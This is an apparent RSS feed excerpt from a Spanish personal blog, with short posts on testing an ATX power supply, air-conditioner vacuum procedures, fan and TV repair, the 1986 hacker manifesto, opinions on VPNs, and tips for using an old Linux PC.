<p>Para probar una fuente de alimentación ATX (de PC) sin conectarla a una placa madre, puedes puentear el pin verde con cualquier pin negro (tierra) del conector de 24 pines.
Pin verde (solo hay uno): es el <code>"PS_ON"</code>.
Cualquier pin negro (hay varios): son tierra <code>("GND")</code>.
Puedes usar un multímetro para medir los voltajes de los diferentes cables (amarillo = +12V, rojo = +5V, naranja = +3.3V, negro = GND).</p>
-
REAL: Exámen final de aires acondicionados
https://imlauera.github.io/post/final_ac/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/post/final_ac/
<p>Final práctico: Tenés que conectar el motocompresor y el ventilador a la bornera y a los capacitores.</p>
<p><strong>Describí el proceso para hacer vacío:</strong></p>
<ol>
<li>La manguera amarilla va en el centro de los manómetros se coloca con la mano y en la bomba de vacío. La manguera azul va en el manómetro azul.</li>
<li>Ahora se quita el tapón del aceite de la bomba de vacío.</li>
<li>En la bomba va conectada la manguera amarilla.</li>
<li>Sacá el tapón del aire de la línea de succión (2 de la línea de succión y el tapón de la línea de descarga el mas delgado).</li>
<li>Conectá la manguera azul al tubo de succión enroscando tiene una válvula.</li>
<li>Ahora encendé la bomba de vacío. Deben estar cerrados los manifull (el de alta y el de baja), y luego abrí el azul al máximo debe bajar la aguja y dejalo 15 minutos</li>
<li>Y si la aguja se ha mantenido está bien.</li>
<li>Se cierra el azul (hacia la derecha) y se apaga la bomba y dejalo por 15 minutos, si se mantiene en esa posición todo está bien. Si sube es que hay fuga en las uniones.</li>
<li>Ahora que pasaron los 15 minutos y se mantuvo la aguja.</li>
<li>Desconectá la manguera azul del aire y poné los tapones al aire.</li>
<li>Con una llave allen abrimos el de alta (delgado sentido antihorario luego el de abajo línea de succión abrí todo) y poné los tapones luego poné agua con jabón para asegurar que no hay pérdida.</li>
</ol>
<hr>
<p><strong>Aires Colores cables.</strong> (No te confíes pero es bueno saberlo por las dudas), tenés que sacar arranque, línea y trabajo con el multímetro.</p>
-
Reparacion ventilador: bujes
https://imlauera.github.io/reparacion_ventilador_bujes/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/reparacion_ventilador_bujes/
<p>Reparamos un ventilador viejo tuvimos que cambiar ambos bujes. Luego arreglar la paleta de plástico con una pistola de calor porque estaba doblada y tuvimos que sacar el suplemento para que entre mejor el buje.</p>
<p>Le pusimos un poquito de virulana para que trabe el buje de atrás</p>
<h3 id="sobre-bobinas">Sobre bobinas</h3>
<p>Los ventiladores pie no tienen reactancia (resistencia hecha con una bobina), tienen
más bobinas auxiliares.
Capacitor y de trabajo (ventilador de techo)
El de pie tiene la botonera lleva muchos cables a la botonera, el ventilador de techo solo lleva 2</p>
-
Revistas Hacker y el manifesto hacker
https://imlauera.github.io/phrack/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/phrack/
<p><a href="https://phrack.org/issues/7/3">https://phrack.org/issues/7/3</a></p>
<pre><code> \/\The Conscience of a Hacker/\/
by
+++The Mentor+++
Written on January 8, 1986
</code></pre>
<p>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=</p>
<pre><code> Another one got caught today, it's all over the papers. "Teenager
</code></pre>
<p>Arrested in Computer Crime Scandal", “Hacker Arrested after Bank Tampering”…<br>
Damn kids. They’re all alike.</p>
<pre><code> But did you, in your three-piece psychology and 1950's technobrain,
</code></pre>
<p>ever take a look behind the eyes of the hacker? Did you ever wonder what<br>
made him tick, what forces shaped him, what may have molded him?<br>
I am a hacker, enter my world…<br>
Mine is a world that begins with school… I’m smarter than most of<br>
the other kids, this crap they teach us bores me…<br>
Damn underachiever. They’re all alike.</p>
-
Sobre VPNs
https://imlauera.github.io/post/sobre-vpns/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/post/sobre-vpns/
<p>¿Para qué realmente sirve una VPN?</p>
<p>No usarlas para la privacidad: Hay VPNs que guardan logs. Muy probablemente a tu ISP le importa menos tus datos que a una VPN.
Las VPN engañan diciendo que si te conectás en una cafetería a una red WiFi los atacantes pueden interceptar tus contraseñas. Esto no es cierto siempre y cuando el sitio use HTTPS estás a salvo.
<strong>Sólo usá una VPN si querés ocultar tu sexualidad, si subís piratería o si sos un asesino.</strong>: <em>Si vas a mirar nopor usá Tor</em>.
Tu proveedor de servicios o un cibercriminal <strong>puede ver las páginas que visitás</strong> y las contraseñas de las páginas que <strong>no usen HTTPS (todas hoy en día lo usan)</strong>, lo cual es una minoría grande ya que todas las redes sociales y páginas medianamente conocidas usan HTTPS y encima hay certificados gratis de SSL.</p>
-
Software y consejos al usar una PC de hace 20 años
https://imlauera.github.io/pc_lenta/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/pc_lenta/
<ul>
<li>Comprate cualquier teclado mecánico barato, es impresionante la diferencia que hace, te hace creer que la computadora es más rápida.</li>
<li>Instalá ArchLinux con <a href="https://imlauera.github.io/sway/">sway</a> o con dwm o AntiX Linux. <a href="https://imlauera.github.io/post/instalacion_arch_basica/">ArchLinux guía de instalación</a></li>
<li>Usá Perplexity desde Telegram-Desktop desde el navegador es demasiado lento: <a href="https://t.me/askplexbot">https://t.me/askplexbot</a></li>
<li>Usá thunderbird o <a href="https://imlauera.github.io/post/neomutt/">neomutt</a> para leer el correo.</li>
<li>Whatsie para WhatsApp y la aplicación de discord (<code>sudo pacman -S discord</code>)</li>
<li>Para mirar YouTube usá smtube (<code>yay -S smtube</code>) con mpv y yt-dlp o <code>https://inv.nadeko.net</code> (invidious) si no carga el video en Invidious abrilo en EMBED que es el 1er ícono a la derecha debajo del titulo del video.</li>
<li>Para subir videos a YouTube usá: <code>youtube-upload</code> no subas videos desde el navegador. <br>
Ejemplo:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> esotericwarfare@arch ~/p/blog <span style="color:#f92672">(</span>master<span style="color:#f92672">)</span>> source $HOME/youtube-upload/bin/activate.fish
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> <span style="color:#f92672">(</span>youtube-upload<span style="color:#f92672">)</span> esotericwarfare@arch ~/p/blog <span style="color:#f92672">(</span>master<span style="color:#f92672">)</span>> $HOME/youtube-upload/youtube-upload/bin/youtube-upload --title<span style="color:#f92672">=</span><span style="color:#e6db74">"arreglo cocina valvula de la hornalla"</span> --default-language<span style="color:#f92672">=</span><span style="color:#e6db74">"es"</span> --default-audio-language<span style="color:#f92672">=</span><span style="color:#e6db74">"es"</span> --privacy<span style="color:#f92672">=</span><span style="color:#e6db74">"unlisted"</span> --embeddable<span style="color:#f92672">=</span>True ~/samba/imlauernews/VID_20250915_115540.mp4
</span></span></code></pre></div><ul>
<li>Para ingresar a Google Drive usá <code>rclone</code>.</li>
<li>No uses <code>google docs</code> en su lugar podes usar <code>latex con vim</code> o <code>libreoffice</code>.</li>
</ul>
-
Tecnicatura a Distancia en la UTN de San Nicolás
https://imlauera.github.io/tecnicatura_san_nicolas/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/tecnicatura_san_nicolas/
<p><a href="https://www.frsn.utn.edu.ar/?page_id=5352">https://www.frsn.utn.edu.ar/?page_id=5352</a><br>
<a href="https://www.frsn.utn.edu.ar/?page_id=5095">https://www.frsn.utn.edu.ar/?page_id=5095</a><br>
<a href="https://utnsannicolas.quinttos.com">https://utnsannicolas.quinttos.com</a></p>
<p><strong>Facultad Regional San Nicolás</strong></p>
<p>Tecnicatura Universitaria en Programación y hacé clic en “Inscribirse” o “Preinscripción”</p>
<p>Te creas el usuario, olvidé mi contraseña, te creas la contraseña y subís tus documentos etc.</p>
<p>Más información preguntale a Perplexity en Telegram.</p>
-
Televisores: En la 3era clase se enseña fuente standby no prende
https://imlauera.github.io/televisores1/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/televisores1/
<h3 id="1era-parte">1era parte</h3>
<p>Con los televisores TLC tenemos 8 bloques principales.</p>
<p>Son los siguientes: pantalla requiere del bloque de control de pantalla.
Ahí se habla de la defección vertical y horizontal.</p>
<p>Este bloque de pantalla es para que ella dibuje la imágen.</p>
<p>La información de la imágen proviene de un 3er bloque llamado VIDEO.</p>
<p>Además de video tenemos audio tenemos que agregar el bloque para el audio.</p>
<p>Luego el video proviene de un bloque llamado sinto (sintonizaador), el sintonizador captura señales de televisor por aire y por cable tenemos una fuente de audio y video.</p>
-
TODO: Crear una publicación para hackernews sobre lfb y drm
https://imlauera.github.io/crear_hackernews/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/crear_hackernews/
<p>Compilaré todas las herramientas que fui utilizando</p>
-
Vender cursos Udemy es rentable
https://imlauera.github.io/vender_cursos_udemy/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/vender_cursos_udemy/
<p>Al parecer para mucha gente es rentable vender cursos de Udemy.</p>
<p>“@DanielBlancoSWE”(No se quien es) comienza dicendo que mucha gente comete los “mismos errores” en las entrevistas y aprovecha para vender su curso de Udemy de “System Design”.</p>
<p>Últimamente he estado haciendo bastantes entrevistas de System Design, y la mayoría comete los mismos errores: No seguir una estructura clara y enfocarse en detalles poco prioritarios. Tienes sólo 45 minutos para diseñar un sistema enorme. No se espera que llegues a la solución perfecta, pero sí que des las suficientes señales de que podrías tomar buenas decisiones y manejar la incertidumbre en problemas reales. Te recomiendo la siguiente estructura:</p>